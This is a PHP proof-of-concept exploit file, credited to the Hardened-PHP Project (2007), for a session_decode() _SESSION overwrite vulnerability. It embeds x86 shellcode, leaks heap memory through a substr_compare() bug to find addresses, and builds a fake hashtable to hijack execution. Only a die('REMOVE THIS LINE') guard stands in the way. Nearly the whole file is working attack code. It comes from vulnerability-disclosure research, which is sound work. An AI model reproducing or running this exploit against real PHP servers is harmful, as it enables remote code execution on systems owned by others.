MOPB-sessiondeser.txt

`<?php  
////////////////////////////////////////////////////////////////////////  
// _ _ _ _ ___ _ _ ___ //  
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //  
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //  
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //  
// //  
// Proof of concept code from the Hardened-PHP Project //  
// (C) Copyright 2007 Stefan Esser //  
// //  
////////////////////////////////////////////////////////////////////////  
// PHP session_decode() _SESSION Overwrite Vulnerability //  
////////////////////////////////////////////////////////////////////////  
  
// This is meant as a protection against remote file inclusion.  
die("REMOVE THIS LINE");  
  
$shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".  
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".  
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".  
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".  
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".  
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".  
"\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65".  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";  
  
findOffsets();  
  
  
  
$Hashtable = pack("LLLLLLLLLCCC", 2, 1, 0, 0, 0, $offset_1+0x70, 0, $offset_1+0x70, $offset_1, 0, 0, 0);  
  
$str = '_SESSION|s:39:"'.$Hashtable.'"|a|i:0;a|i:0;';  
  
session_start();  
session_decode($str);  
  
  
  
  
  
  
  
// This function uses the substr_compare() vulnerability  
// to get the offsets.   
  
function findOffsets()  
{  
global $offset_1, $offset_2, $shellcode;  
// We need to NOT clear these variables,  
// otherwise the heap is too segmented  
global $memdump, $d, $arr;  
  
$sizeofHashtable = 39;  
$maxlong = 0x7fffffff;  
  
// Signature of a big endian Hashtable of size 256 with 1 element  
$search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00";  
  
$memdump = str_repeat("A", 4096);  
for ($i=0; $i<400; $i++) {  
$d[$i]=array();  
}  
unset($d[350]);  
$x = str_repeat("\x01", $sizeofHashtable);  
unset($d[351]);  
unset($d[352]);  
$arr = array();  
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }  
$arr[$shellcode] = 1;  
for ($i=0; $i<129; $i++) { unset($arr[$i]); }  
  
// If the libc memcmp leaks the information use it  
// otherwise we only get a case insensitive memdump  
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;  
  
for ($i=0; $i<4096; $i++) {  
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);  
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);  
if ($y-$Y == 1 || $Y-$y==1){  
$y = chr($y);  
if ($b && strtoupper($y)!=$y) {  
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {  
$y = strtoupper($y);  
}  
}  
$memdump[$i] = $y;  
} else {  
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);  
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);  
if ($y-$Y != 1 && $Y-$y!=1){  
$memdump[$i] = chr(1);  
} else {  
$memdump[$i] = chr(0);  
}   
}  
}  
  
// Search shellcode and hashtable and calculate memory address  
$pos_shellcode = strpos($memdump, $shellcode);  
$pos_hashtable = strpos($memdump, $search);  
$addr = substr($memdump, $pos_hashtable+6*4, 4);  
$addr = unpack("L", $addr);  
  
// Fill in both offsets   
$offset_1 = $addr[1] + 32;  
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4;  
}  
  
?>  
  
`